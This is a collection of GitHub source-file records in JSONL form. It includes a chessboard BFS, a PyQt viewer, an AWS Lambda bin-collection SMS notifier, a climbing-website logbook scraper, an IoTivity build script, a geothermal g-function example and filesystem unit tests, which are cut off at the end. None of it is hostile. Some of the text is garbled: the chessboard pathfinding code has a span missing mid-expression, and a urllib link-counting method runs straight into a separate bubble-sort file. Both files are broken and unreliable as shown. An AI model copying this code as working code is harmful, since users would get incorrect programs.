+{"seq_id":"26729041396","text":"from random import randint\nfrom queue import Queue\n\nn = 8\nT = [[randint(1,5) for _ in range(n)] for _ in range(n)]\n\nT = [[5, 5, 1, 2, 5, 4, 1, 1],\n\t[5, 4, 2, 3, 3, 1, 4, 3],\n\t[4, 5, 2, 4, 5, 1, 4, 5],\n\t[5, 3, 4, 3, 3, 4, 1, 5],\n\t[2, 1, 1, 2, 4, 1, 2, 2],\n\t[3, 5, 1, 1, 2, 2, 2, 3],\n\t[2, 1, 2, 3, 4, 4, 1, 4],\n\t[1, 2, 4, 3, 2, 5, 5, 5]]\n\nfor row in T:\n\tprint(row)\n\ndef moves(i, j, n):\n\tmoves = [(i+1, j+1),(i-1, j-1),\n\t\t(i+1, j),(i-1, j),\n\t\t(i, j+1),(i, j-1),\n\t\t(i+1, j-1),(i-1, j+1)]\n\n\treturn [m for m in moves if (0<=m[0]1:\n\t\t\tQ.put((i, j, p-1))\n\t\telse:\n\t\t\tfor mi, mj in moves(i, j, n):\n\t\t\t\tif cost[mi][mj]<0:\n\t\t\t\t\tQ.put((mi, mj, G[mi][mj]))\n\t\t\t\t\tcost[mi][mj] = cost[i][j] + G[mi][mj]\n\t\t\t\t\tdirection[mi][mj] = dir(mi-i, mj-j)\n\t\t\t\telif cost[mi][mj] > cost[i][j] + G[mi][mj]:\n\t\t\t\t\tcost[mi][mj] = cost[i][j] + G[mi][mj]\n\t\t\t\t\tdirection[mi][mj] = dir(mi-i, mj-j)\n\n\tprint()\n\tfor row in cost:\n\t\tprint(row)\n\n\tprint()\n\tfor row in direction:\n\t\tprint(row)\n\n\treturn cost[n-1][n-1]\n\n\nking_walk(T)","repo_name":"wojtke/agh-asd","sub_path":"graph/simple bfs, dfs/chessboard paths.py","file_name":"chessboard paths.py","file_ext":"py","file_size_in_byte":1353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13058741089","text":"import sys\n\nfrom PyQt6 import uic\nfrom PyQt6.QtCore import Qt, pyqtSignal, pyqtSlot\nfrom PyQt6.QtGui import QPainter, QPaintEvent, QPixmap\nfrom PyQt6.QtWidgets import QApplication, QMainWindow, QWidget\n\n\nclass MainWindow(QMainWindow):\n text: str = \"\"\n\n def __init__(self):\n super().__init__()\n\n self.setWindowTitle(\"My App\")\n\n # load template\n uic.loadUi(\"main.ui\", self)\n\n # load styles\n with open(\"main.qss\", \"r\") as fh:\n self.setStyleSheet(fh.read())\n\n self.label.setPixmap(QPixmap(\"dog.jpg\"))\n self.label.setScaledContents(True)\n\n\napp = QApplication(sys.argv)\n\nwindow = MainWindow()\nwindow.show()\n\napp.exec()\n","repo_name":"lukaskellerstein/PythonSamples","sub_path":"49_GUI/2_Qt/1_components/2_image/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21025617184","text":"import json\nimport datetime\nimport boto3\nimport os\n\nfrom whichbins.schedule import Schedule\nfrom whichbins.notifications import send_sms\n\ndef get_schedule():\n schedule = Schedule()\n\n bucket = os.environ.get(\"WHICHBINS_CONFIG_BUCKET\", \"whichbins-config\")\n key = os.environ.get(\"WHICHBINS_CONFIG_FILE\", \"bins.json\")\n s3 = boto3.resource(\"s3\")\n obj = s3.Object(bucket, key)\n config = obj.get()[\"Body\"].read().decode(\"utf-8\")\n bins = json.loads(config)\n\n for collection in bins:\n schedule.add(collection['date'], collection['bins'])\n \n return schedule\n\ndef lambda_handler(event, context):\n bins = []\n \n schedule = get_schedule()\n tomorrow = datetime.date.today() + datetime.timedelta(days=1)\n\n collections = schedule.onDate(tomorrow.strftime(\"%Y-%m-%d\"))\n\n if collections:\n message = bins_message(collections)\n send_sms(message)\n\n return {\n \"statusCode\": 200,\n \"body\": json.dumps(\n collections\n ),\n }\n\ndef bins_message(collections):\n bins = []\n for binColour in collections:\n if collections[binColour]:\n bins.append(binColour.capitalize())\n\n return \"It's bin night! Put these out: %s.\" % \",\".join(bins)","repo_name":"cgrice/whichbins","sub_path":"whichbins/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4381573183","text":"#coding=UTF-8\n#Author:Winyn\n'''\n题目一: 写一个网页数据操作类。完成下面的功能:\n\n提示:需要用到urllib模块\n\nget_httpcode()获取网页的状态码,返回结果例如:200,301,404等 类型为int \n\nget_htmlcontent() 获取网页的内容。返回类型:str\n\nget_linknum()计算网页的链接数目。\n\n'''\nimport urllib\nclass Get_web_date():\n\tdef __init__(self,url):\n\t\tself.url = url\n\tdef get_httpcode(self):\n\t\t'该方法获取网页的状态码'\n\t\ttry:\n\t\t\tf = urllib.request.urlopen(self.url)\n\t\texcept urllib.error.HTTPError:\n\t\t\treturn '访问页面出错!'\n\t\texcept urllib.error.URLError:\n\t\t\treturn '访问页面出错!'\n\t\telse:\n\t\t\treturn f.code\n\tdef get_htmlcontent(self):\n\t\t'该方法获取网页的内容'\n\t\ttry:\n\t\t\tf = urllib.request.urlopen(self.url)\n\t\texcept urllib.error.HTTPError:\n\t\t\treturn '访问页面出错!'\n\t\texcept urllib.error.URLError:\n\t\t\treturn '访问页面出错!'\n\t\telse:\n\t\t\treturn str(f.readlines())\n\tdef get_linknum(self):\n\t\t'该方法计算网页中链接数目'\n\t\ttext = get_htmlcontent()\n\t\treturn text.split(' arr[j]:\n swap(j-1, j)\n\n\n#arr.sort() #O(nlg(n))\n\nfor i in range(N):\n print(str(arr[i])+'\\n')","repo_name":"juyeeeeon/CodingTest_Python","sub_path":"04정렬/04_1_버블정렬/P2750_수정렬하기.py","file_name":"P2750_수정렬하기.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74232147075","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport json, requests\nfrom slugify import slugify\nfrom bs4 import BeautifulSoup\nimport csv\nfrom _8a_scraper.users import get_user_info, get_user_ascents, get_recommended_ascents\nfrom _8a_scraper.ascents import *\nfrom _8a_scraper.users import *\nfrom _8a_scraper.utils import *\nfrom _8a_scraper.users import get_user_info, get_user_ascents\nimport sqlite3\nimport selenium \nfrom selenium.common.exceptions import TimeoutException\nfrom _8a_scraper.ascents import get_ascents\nimport time\nfrom datetime import datetime\nimport os\nimport glob\n\ndef get_user_logs():\n \"\"\"\n get logbook of user entries at specific activity. Full code is hidden to prevent abuse of data gathering.\n \n\n \"\"\"\n df = pd.read_csv(\"/Volumes/64gig data_sets/combine_test.csv\")\n df_names = df.userName.unique()\n short_names = df_names[13890:]\n print(len(short_names))\n login()\n count = 13890\n for name in short_names:\n \n print(type(name))\n print(name)\n count+=1\n print(count)\n if name != \"\":\n try:\n ascents = get_user_ascents(name, 'sportclimbing')\n # climbers = get_ascents(name , 'bouldering')\n print(f'{name} climber is done!')\n dateTimeObj = datetime.now()\n print(dateTimeObj)\n \n except TimeoutException:\n print(f'cannot obtain {name} data... skipping')\n dateTimeObj = datetime.now()\n print(dateTimeObj)\n continue\n\n try:\n if ascents != []:\n\n name = name.replace(\"/\", \"-\")\n # with open(f'climber-info-{name}.csv', 'w', newline='') as csvfile:\n with open(f'/Volumes/64gig data_sets/sport_climbing_logbooks/climber-sport_climbing-{name}.csv', 'w', newline='') as csvfile:\n try:\n fieldnames = ascents[0].keys()\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n for ascent in ascents:\n writer.writerow(ascent)\n except:\n print('field out of range')\n print(f'Could not save {name} file!!!')\n dateTimeObj = datetime.now()\n print(dateTimeObj)\n f = open('/Users/cp/Documents/dsi/8a2/8a_scraper/users_unmade.txt', \"a\")\n f.write(f\"{user} wasnt made \\n\" )\n f.close()\n continue\n\n else:\n print('field out of range')\n print(f'Could not save {name} file!!!')\n # f = open('/Users/cp/Documents/dsi/8a2/8a_scraper/users_unmade.txt', \"a\")\n f = open('/Volumes/64gig data_sets/users_sport_climbing_unmade.txt', \"a\")\n f.write(f\"{name} wasnt made \\n\" )\n f.close()\n continue\n\n except TimeoutException:\n # driver.back()\n continue\nif __name__ == \"__main__\":\n get_user_logs()\n ","repo_name":"Cpizzle1/Rockclimbing-industry-project","sub_path":"src/beta_test_user.py","file_name":"beta_test_user.py","file_ext":"py","file_size_in_byte":3290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"28135755313","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue May 29 16:17:41 2018\n\n@author: jonathancindanomwamba\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport PIL as Image\n\ndef ExtractData(Nom) : # Renvoie un tableau H*L*3\n im = Image.open(Nom) # Lecture de l’image\n L, H = im.size # Taille de l’image\n data = im.getdata() # On récupère les données dans la variable data\n d = np.array(data) # conversion de data en tableau\n IMA = d.reshape((H,L,3)) # On transforme un tableau 1D en tableau avec 3 indices.\n return IMA # Renvoie un tableau de dimension H*L*3\n\n# Cette fonction crée une image qui s’appelle « nom » (n’oubliez pas l’extension « .jpg », « .png », ...\ndef CreerImage(IMA,nom) : # IMA est un tableau de dimensions H*L*3. \n H, L = len(IMA), len(IMA[0])\n im = Image.new('RGB',(L,H))\n pix = im.load()\n for i in range(L) :\n for j in range(H) :\n pix[i,j] = tuple(IMA[j,i])\n im.save(nom)\nima = ExtractData(\"mouvement_02_92.jpg\")\nfig = plt.figure()\nplt.imshow(ima[:,:,2])\nplt.show()\nima[:,:,1] = 0*ima[:,:,1] # On met le zéro sur le vert\nima[:,:,2] = 0*ima[:,:,2] # On met le zéro sur le bleu\nCreerImage(ima,\"ImageRouge.png\")","repo_name":"Snooker4Real/Python_files","sub_path":"Manipulation image.py","file_name":"Manipulation image.py","file_ext":"py","file_size_in_byte":1232,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38858695242","text":"yearly_tax = float(input())\n\nshoes_price = yearly_tax * 0.6\nclothes = shoes_price * 0.8\nball_price = clothes / 4\naccessories_price = ball_price / 5\n\ntotal = yearly_tax + shoes_price + clothes\ntotal += ball_price + accessories_price\n\nprint(f\"{total:.2f}\")\n","repo_name":"Dimitrov-S-Dev-Python/SoftUni_Python_Basics","sub_path":"Exams_Tasks/PB_9_03_2019/Basketball_Equipment.py","file_name":"Basketball_Equipment.py","file_ext":"py","file_size_in_byte":255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32339429004","text":"#!/usr/bin/python\n\nimport os\nimport sys\nimport platform\nimport subprocess\nimport multiprocessing\n\nbuild_option_param = {\n \"DYNAMIC\": 1,\n \"IPV4\": 1,\n \"TCP\": 1\n}\n\n# help message\ndef helpmsg(script):\n helpstr = '''\nUsage:\n build:\n python %s \n Allowed values for : all,\n linux, linux_test, linux_unsecured, linux_unecured_test,\n tizenrt,\n freertos\n clean:\n python %s -c\n '''\n print (helpstr % (script, script))\n sys.exit(1)\n\ndef call_make(build_options, extra_option_str):\n \"\"\"\n This function formats and runs a scons command\n Arguments:\n build_options -- {Dictionary} build flags (keys) associated with values;\n extra_option_str -- {String} extra options to append to scons command\n \"\"\"\n cmd_line = \"make VERBOSE=\" + VERBOSE\n for key in build_options:\n cmd_line += \" \" + key + \"=\" + str(build_options[key])\n\n cmd_line += \" \" + str(extra_option_str)\n\n if not EXEC_MODE:\n print (\"Would run : \" + cmd_line)\n else:\n print (\"Running : \" + cmd_line)\n sys.stdout.flush()\n exit_code = subprocess.Popen(cmd_line, shell=True).wait()\n if exit_code != 0:\n sys.exit(exit_code)\n\ndef build_all(flag, extra_option_str):\n if platform.system() == \"Linux\":\n build_linux(flag, extra_option_str)\n build_linux_test(flag, extra_option_str)\n build_linux_unsecured(flag, extra_option_str)\n build_linux_unsecured_test(flag, extra_option_str)\n build_tizenrt(flag, extra_option_str)\n build_freertos(flag, extra_option_str)\n\ndef build_linux(flag, extra_option_str):\n print (\"*********** Build for linux ************\")\n build_options = build_option_param\n extra_option_str += ' SECURE=1';\n call_make(build_options, extra_option_str)\n\ndef build_linux_test(flag, extra_option_str):\n print (\"*********** Build for linux ************\")\n extra_option_str += ' SECURE=1';\n build_linux(\"true\", \"test\" + extra_option_str)\n\n\ndef build_linux_unsecured(flag, extra_option_str):\n print (\"*********** Build for linux ************\")\n build_options = build_option_param\n extra_option_str += ' SECURE=0';\n call_make(build_options, extra_option_str)\n\ndef build_linux_unsecured_test(flag, extra_option_str):\n print (\"*********** Build for linux ************\")\n build_linux_unsecured(\"true\", \"test\" + extra_option_str)\n\ndef build_tizenrt(flag, extra_option_str):\n print (\"*********** Build for tizenrt ************\")\n build_options = build_option_param\n extra_option_str += \"port=tizenrt\"\n call_make(build_options, extra_option_str)\n\ndef build_freertos(flag, extra_option_str):\n print (\"*********** Build for freertos ************\")\n build_options = build_option_param\n extra_option_str += \"port=freertos\"\n call_make(build_options, extra_option_str)\n\n# Main module starts here\nif os.getenv(\"MAKEFLAGS\", \"\") == \"\":\n os.environ[\"MAKEFLAGS\"] = \"-Q -j \" + str(multiprocessing.cpu_count())\n\narg_num = len(sys.argv)\nscript_name = sys.argv[0]\n\n# May be overridden in user's shell\nVERBOSE = os.getenv(\"VERBOSE\", \"1\")\nEXEC_MODE = os.getenv(\"EXEC_MODE\", True)\nif EXEC_MODE in ['false', 'False', '0']:\n EXEC_MODE = False\n\n\nif arg_num == 1:\n build_all(\"true\", \"\")\n\nelif arg_num == 2:\n if str(sys.argv[1]) == '-c':\n build_all(\"true\", \"-c\")\n\n elif str(sys.argv[1]) == \"all\":\n build_all(\"true\", \"\")\n\n elif str(sys.argv[1]) == \"linux\":\n build_linux(\"true\", \"\")\n\n elif str(sys.argv[1]) == \"linux_test\":\n build_linux_test(\"true\", \"\")\n\n elif str(sys.argv[1]) == \"linux_unsecured\":\n build_linux_unsecured(\"true\", \"\")\n\n elif str(sys.argv[1]) == \"linux_unsecured_test\":\n build_linux_unsecured_test(\"true\", \"\")\n\n elif str(sys.argv[1]) == \"tizenrt\":\n build_tizenrt(\"true\", \"\")\n\n elif str(sys.argv[1]) == \"freertos\":\n build_freertos(\"true\", \"\")\n\n else:\n helpmsg(script_name)\nelse:\n helpmsg(script_name)\n\nprint (\"===================== done =====================\")\n","repo_name":"iotivity/iotivity-lite","sub_path":"tests/auto_build.py","file_name":"auto_build.py","file_ext":"py","file_size_in_byte":4101,"program_lang":"python","lang":"en","doc_type":"code","stars":120,"dataset":"github-code","pt":"61"} +{"seq_id":"22000747694","text":"# -*- coding: utf-8 -*-\n\"\"\" Example of calculation of g-functions using mixed inlet temperatures.\n\n The g-functions of a field of 5 boreholes of different lengths connected\n in series are calculated for 2 boundary conditions: (a) uniform borehole\n wall temperature, and (b) series connections between boreholes. The\n g-function for case (b) is based on the effective borehole wall\n temperature, rather than the average borehole wall temperature.\n\n\"\"\"\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom matplotlib.ticker import AutoMinorLocator\nfrom scipy import pi\n\nimport pygfunction as gt\n\n\ndef main():\n # -------------------------------------------------------------------------\n # Simulation parameters\n # -------------------------------------------------------------------------\n\n # Borehole dimensions\n D = 4.0 # Borehole buried depth (m)\n # Borehole length (m)\n H_boreholes = np.array([75.0, 100.0, 125.0, 150.0, 75.0])\n H_mean = np.mean(H_boreholes)\n r_b = 0.075 # Borehole radius (m)\n B = 7.5 # Borehole spacing (m)\n\n # Pipe dimensions\n r_out = 0.02 # Pipe outer radius (m)\n r_in = 0.015 # Pipe inner radius (m)\n D_s = 0.05 # Shank spacing (m)\n epsilon = 1.0e-6 # Pipe roughness (m)\n\n # Pipe positions\n # Single U-tube [(x_in, y_in), (x_out, y_out)]\n pos_pipes = [(-D_s, 0.), (D_s, 0.)]\n\n # Ground properties\n alpha = 1.0e-6 # Ground thermal diffusivity (m2/s)\n k_s = 2.0 # Ground thermal conductivity (W/m.K)\n\n # Grout properties\n k_g = 1.0 # Grout thermal conductivity (W/m.K)\n\n # Pipe properties\n k_p = 0.4 # Pipe thermal conductivity (W/m.K)\n\n # Fluid properties\n m_flow_network = 0.25 # Total fluid mass flow rate in network (kg/s)\n # All boreholes are in series\n m_flow_borehole = m_flow_network\n # The fluid is propylene-glycol (20 %) at 20 degC\n fluid = gt.media.Fluid('MPG', 20.)\n cp_f = fluid.cp # Fluid specific isobaric heat capacity (J/kg.K)\n rho_f = fluid.rho # Fluid density (kg/m3)\n mu_f = fluid.mu # Fluid dynamic viscosity (kg/m.s)\n k_f = fluid.k # Fluid thermal conductivity (W/m.K)\n\n # g-Function calculation options\n nSegments = 8\n options = {'nSegments': nSegments,\n 'disp': True,\n 'profiles': True}\n # The similarities method is used since the 'equivalent' method does not\n # apply if boreholes are connected in series\n method = 'similarities'\n\n # Geometrically expanding time vector.\n dt = 100*3600. # Time step\n tmax = 3000. * 8760. * 3600. # Maximum time\n Nt = 25 # Number of time steps\n ts = H_mean**2/(9.*alpha) # Bore field characteristic time\n time = gt.utilities.time_geometric(dt, tmax, Nt)\n\n # -------------------------------------------------------------------------\n # Borehole field\n # -------------------------------------------------------------------------\n\n boreField = []\n bore_connectivity = []\n for i, H in enumerate(H_boreholes):\n x = i*B\n borehole = gt.boreholes.Borehole(H, D, r_b, x, 0.)\n boreField.append(borehole)\n # Boreholes are connected in series: The index of the upstream\n # borehole is that of the previous borehole\n bore_connectivity.append(i - 1)\n\n # -------------------------------------------------------------------------\n # Initialize pipe model\n # -------------------------------------------------------------------------\n\n # Pipe thermal resistance\n R_p = gt.pipes.conduction_thermal_resistance_circular_pipe(\n r_in, r_out, k_p)\n # Fluid to inner pipe wall thermal resistance (Single U-tube)\n m_flow_pipe = m_flow_borehole\n h_f = gt.pipes.convective_heat_transfer_coefficient_circular_pipe(\n m_flow_pipe, r_in, mu_f, rho_f, k_f, cp_f, epsilon)\n R_f = 1.0/(h_f*2*pi*r_in)\n\n # Single U-tube, same for all boreholes in the bore field\n UTubes = []\n for borehole in boreField:\n SingleUTube = gt.pipes.SingleUTube(\n pos_pipes, r_in, r_out, borehole, k_s, k_g, R_f + R_p)\n UTubes.append(SingleUTube)\n network = gt.networks.Network(\n boreField, UTubes, bore_connectivity=bore_connectivity,\n m_flow_network=m_flow_network, cp_f=cp_f, nSegments=nSegments)\n\n # -------------------------------------------------------------------------\n # Evaluate the g-functions for the borefield\n # -------------------------------------------------------------------------\n\n # Calculate the g-function for uniform temperature\n gfunc_Tb = gt.gfunction.gFunction(\n boreField, alpha, time=time, boundary_condition='UBWT',\n options=options, method=method)\n\n # Calculate the g-function for mixed inlet fluid conditions\n gfunc_equal_Tf_mixed = gt.gfunction.gFunction(\n network, alpha, time=time, boundary_condition='MIFT', options=options,\n method=method)\n\n # -------------------------------------------------------------------------\n # Plot g-functions\n # -------------------------------------------------------------------------\n\n ax = gfunc_Tb.visualize_g_function().axes[0]\n ax.plot(np.log(time/ts), gfunc_equal_Tf_mixed.gFunc, 'r-.')\n ax.legend(['Uniform temperature', 'Mixed inlet temperature'])\n plt.tight_layout()\n\n # For the mixed inlet fluid temperature condition, draw the temperatures\n # and heat extraction rates\n gfunc_equal_Tf_mixed.visualize_temperatures()\n gfunc_equal_Tf_mixed.visualize_temperature_profiles()\n gfunc_equal_Tf_mixed.visualize_heat_extraction_rates()\n gfunc_equal_Tf_mixed.visualize_heat_extraction_rate_profiles()\n\n return\n\n\n# Main function\nif __name__ == '__main__':\n main()\n","repo_name":"MassimoCimmino/pygfunction","sub_path":"examples/mixed_inlet_conditions.py","file_name":"mixed_inlet_conditions.py","file_ext":"py","file_size_in_byte":5844,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"61"} +{"seq_id":"15765421844","text":"import boto3\nimport io\nimport os\nimport pickle\nimport pytest\nimport time\nimport unittest\nimport uuid\n\nfrom flaky import flaky\nfrom moto import mock_s3\n\nfrom .ftp_server import FtpServer\nfrom .sftp_server import SftpServer\nfrom .util import timer\n\nfrom filesystem import (\n CachedFileSystem,\n TempDiskFileSystem,\n DiskFileSystem,\n InMemFileSystem,\n S3FileSystem,\n FtpFileSystem,\n SftpFileSystem,\n CloningFileSystem,\n WriteOnceFileSystem,\n WriteProtectedFileSystem,\n)\n\n\nclass FileSystemTestCases:\n MODTIME_DIFFERENCE_THRESHOLD = 0.01\n TRANSFER_TIME = 1.0\n\n def test_can_pickle(self):\n fs = self.filesystem\n filename = \"file.txt\"\n data = b\"asdf\"\n fs.set(filename, data)\n\n sour_cucumber = pickle.dumps(fs)\n sour_fs = pickle.loads(sour_cucumber)\n sour_data = sour_fs.get(filename)\n\n assert sour_data == data\n\n @pytest.mark.perf\n @flaky(max_runs=3, min_passes=1)\n def test_set_bytes_performance(self):\n fs = self.filesystem\n data = b\"a\" * 10 * 1024**2 # 10MB\n filename = \"a.txt\"\n\n with timer() as upload:\n fs.set(filename, data)\n\n assert upload[\"elapsed\"] < self.TRANSFER_TIME\n\n @pytest.mark.perf\n @flaky(max_runs=3, min_passes=1)\n def test_set_stream_performance(self):\n fs = self.filesystem\n data = b\"a\" * 10 * 1024**2 # 10MB\n filename = \"a.txt\"\n\n outStream = io.BytesIO(data)\n with timer() as upload:\n fs.set(filename, outStream)\n\n assert upload[\"elapsed\"] < self.TRANSFER_TIME\n\n @pytest.mark.perf\n @flaky(max_runs=3, min_passes=1)\n def test_get_bytes_performance(self):\n fs = self.filesystem\n data = b\"a\" * 10 * 1024**2 # 10MB\n filename = \"a.txt\"\n\n fs.set(filename, data)\n\n with timer() as download:\n data = fs.get(filename)\n\n assert download[\"elapsed\"] < self.TRANSFER_TIME\n\n @pytest.mark.perf\n @flaky(max_runs=3, min_passes=1)\n def test_get_stream_performance(self):\n fs = self.filesystem\n data = b\"a\" * 10 * 1024**2 # 10MB\n filename = \"a.txt\"\n\n fs.set(filename, data)\n\n inStream = io.BytesIO()\n with timer() as download:\n fs.getInto(filename, inStream)\n\n assert download[\"elapsed\"] < self.TRANSFER_TIME\n\n def test_bytestreams(self):\n data = b\"asdf\"\n bs = io.BytesIO(data)\n fs = self.filesystem\n fname = \"file.txt\"\n\n assert not fs.exists(fname)\n fs.set(fname, bs)\n assert fs.exists(fname)\n assert fs.get(fname) == data\n\n with pytest.raises(ValueError):\n fs.set(fname, bs)\n\n assert fs.get(fname) == data\n\n bs.seek(0)\n fs.set(fname, bs)\n assert fs.get(fname) == data\n\n bsIn = io.BytesIO()\n fs.getInto(fname, bsIn)\n assert bsIn.getvalue() == data\n\n with pytest.raises(ValueError):\n fs.getInto(fname, bsIn)\n assert bsIn.getvalue() == data\n\n bsIn.seek(0)\n fs.getInto(fname, bsIn)\n assert bsIn.getvalue() == data\n\n @flaky(max_runs=3, min_passes=1)\n def test_simple_filesystem(self):\n fs = self.filesystem\n print(fs)\n\n def checkFor(key: str, data: bytes):\n def checkInvariants():\n assert not fs.exists(key)\n assert not fs.isfile(key)\n assert not fs.isdir(key)\n\n with pytest.raises(OSError):\n fs.get(key)\n\n with pytest.raises(OSError):\n fs.getmtime(key)\n\n with pytest.raises(OSError):\n fs.getsize(key)\n\n len(fs.listdir()) == 0\n\n checkInvariants()\n fs.set(key, data)\n local_modtime = time.time()\n\n assert fs.get(key) == data\n assert fs.exists(key)\n assert fs.isfile(key)\n assert not fs.isdir(key)\n\n keysize = fs.getsize(key)\n assert keysize == len(data)\n\n modtime = fs.getmtime(key)\n assert abs(local_modtime - modtime) < self.MODTIME_DIFFERENCE_THRESHOLD\n\n stat = fs.stat(key)\n assert stat[\"modtime\"] == modtime\n assert stat[\"size\"] == keysize\n\n expectedSubdirs = 1 if len(fs.dirname(key)) > 0 else 0\n subdirs = fs.listSubdirs()\n assert len(subdirs) == expectedSubdirs\n\n files = fs.listFiles()\n assert len(files) == 1\n\n fname = files[0]\n assert fname == key\n assert fs.getsize(fname) == keysize\n assert fs.getmtime(fname) == modtime\n\n fs.rm(key)\n assert not fs.exists(key)\n\n with pytest.raises(OSError):\n fs.rm(key) # delete should raise OSError if key is missing\n\n checkInvariants()\n\n values = [b\"\", \"blah\".encode(\"ASCII\"), \"blah\".encode(\"utf-8\")]\n paths = [\"file.txt\", \"dir1/file.txt\", \"dir1/dir2/file.txt\"]\n\n for path in paths:\n for val in values:\n try:\n checkFor(path, val)\n except Exception:\n print(f\"FAILED: test failed for path={path} and val={val}\")\n raise\n\n def test_create_delete_flat(self):\n fname = \"test.txt\"\n contents = b\"abc\"\n\n assert not self.filesystem.exists(fname)\n assert not self.filesystem.isfile(fname)\n assert not self.filesystem.isdir(fname)\n assert len(self.filesystem.listdir()) == 0\n\n with pytest.raises(OSError):\n self.filesystem.get(fname)\n\n with pytest.raises(OSError):\n self.filesystem.rm(fname)\n\n with pytest.raises(OSError):\n self.filesystem.getmtime(fname)\n\n with pytest.raises(OSError):\n self.filesystem.getsize(fname)\n\n self.filesystem.set(fname, contents)\n assert self.filesystem.exists(fname)\n assert (\n abs(self.filesystem.getmtime(fname) - time.time())\n < self.MODTIME_DIFFERENCE_THRESHOLD\n )\n assert self.filesystem.getsize(fname) == len(contents)\n assert self.filesystem.isfile(fname)\n assert not self.filesystem.isdir(fname)\n\n assert self.filesystem.get(fname) == contents\n\n lst = self.filesystem.listdir()\n assert len(lst) == 1\n assert lst == [fname]\n\n self.filesystem.rm(fname)\n assert not self.filesystem.exists(fname)\n assert not self.filesystem.isfile(fname)\n assert not self.filesystem.isdir(fname)\n assert len(self.filesystem.listdir()) == 0\n\n def test_create_delete_nested(self):\n fname = \"dir1/test.txt\"\n contents = b\"abc\"\n\n self.filesystem.set(fname, contents)\n assert self.filesystem.exists(\"dir1\")\n assert self.filesystem.isdir(\"dir1\")\n assert not self.filesystem.isfile(\"dir1\")\n assert self.filesystem.exists(fname)\n assert not self.filesystem.isdir(fname)\n assert self.filesystem.isfile(fname)\n\n assert (\n abs(self.filesystem.getmtime(fname) - time.time())\n < self.MODTIME_DIFFERENCE_THRESHOLD\n )\n assert self.filesystem.getsize(fname) == len(contents)\n assert self.filesystem.get(fname) == contents\n\n assert self.filesystem.listdir() == [\"dir1\"]\n assert sorted(self.filesystem.listdir(recursive=True)) == [\"dir1\", fname]\n assert self.filesystem.listdir(\"dir1\") == [fname]\n\n self.filesystem.rm(fname)\n assert not self.filesystem.exists(fname)\n assert not self.filesystem.isfile(fname)\n assert not self.filesystem.isdir(fname)\n # Note: in S3FileSystem dir1 will automatically disappear whereas\n # in other FileSystems that is not the case, so we don't assert\n # facts about it.\n\n def test_iterate_subdir_paths(self):\n fs = self.filesystem\n\n fs.set(\"b/c/f\", b\"abc\")\n fs.set(\"a/c/f\", b\"abc\")\n\n def dropA(path):\n return not path.startswith(\"a/\")\n\n def dropBCF(path):\n return path != \"b/c/f\"\n\n assert sorted(fs.iterateFiles()) == [\"a/c/f\", \"b/c/f\"]\n\n assert sorted(\n self.makeSubFileSystem(\"a\").iterateFiles(subpathFilter=lambda p: True)\n ) == [\"c/f\"]\n\n assert sorted(fs.iterateFiles(subpathFilter=dropA)) == [\"b/c/f\"]\n assert sorted(fs.iterateFiles(subpathFilter=dropBCF)) == [\"a/c/f\"]\n\n fs.set(\"b/c2\", b\"abc\")\n fs.set(\"a/c2\", b\"abc\")\n\n assert sorted(fs.iterateFiles()) == [\"a/c/f\", \"a/c2\", \"b/c/f\", \"b/c2\"]\n\n assert sorted(fs.iterateFiles(subpathFilter=dropA)) == [\"b/c/f\", \"b/c2\"]\n\n for path, modtime, filesize in fs.iterateFiles(\n subpathFilter=dropA, returnModtimesAndSizes=True\n ):\n assert abs(time.time() - modtime) < 10\n assert filesize == fs.getsize(path)\n\n for path, modtime, filesize in fs.iterateFiles(returnModtimesAndSizes=True):\n assert abs(time.time() - modtime) < 10\n assert filesize == fs.getsize(path)\n\n def test_corner_cases(self):\n fs = self.filesystem\n\n assert fs.exists(\"\")\n assert fs.isdir(\"\")\n assert not fs.isfile(\"\")\n assert fs.exists(\"/\")\n assert fs.isdir(\"/\")\n assert not fs.isfile(\"/\")\n\n fs.set(\"dir1/dir2/file1.txt\", b\"abc\")\n\n assert not fs.exists(\"dir\")\n\n assert fs.exists(\"dir1\")\n assert fs.isdir(\"dir1\")\n assert not fs.isfile(\"dir1\")\n\n assert fs.exists(\"dir1/\")\n assert fs.isdir(\"dir1/\")\n assert not fs.isfile(\"dir1/\")\n\n assert not fs.exists(\"dir1/dir\")\n\n assert fs.exists(\"dir1/dir2\")\n assert fs.isdir(\"dir1/dir2\")\n assert not fs.isfile(\"dir1/dir2\")\n\n assert fs.exists(\"dir1/dir2/\")\n assert fs.isdir(\"dir1/dir2/\")\n assert not fs.isfile(\"dir1/dir2/\")\n\n assert fs.exists(\"dir1/dir2/file1.txt\")\n assert fs.isfile(\"dir1/dir2/file1.txt\")\n assert not fs.isdir(\"dir1/dir2/file1.txt\")\n\n assert fs.exists(\"dir1/dir2/file1.txt/\")\n\n assert fs.listdir() == [\"dir1\"]\n assert sorted(fs.listdir(recursive=True)) == [\n \"dir1\",\n \"dir1/dir2\",\n \"dir1/dir2/file1.txt\",\n ]\n\n assert fs.listdir(\"dir1\") == [\"dir1/dir2\"]\n assert fs.listdir(\"dir1/\") == [\"dir1/dir2\"]\n assert sorted(fs.listdir(\"dir1\", recursive=True)) == [\n \"dir1/dir2\",\n \"dir1/dir2/file1.txt\",\n ]\n assert sorted(fs.listdir(\"dir1/\", recursive=True)) == [\n \"dir1/dir2\",\n \"dir1/dir2/file1.txt\",\n ]\n\n assert 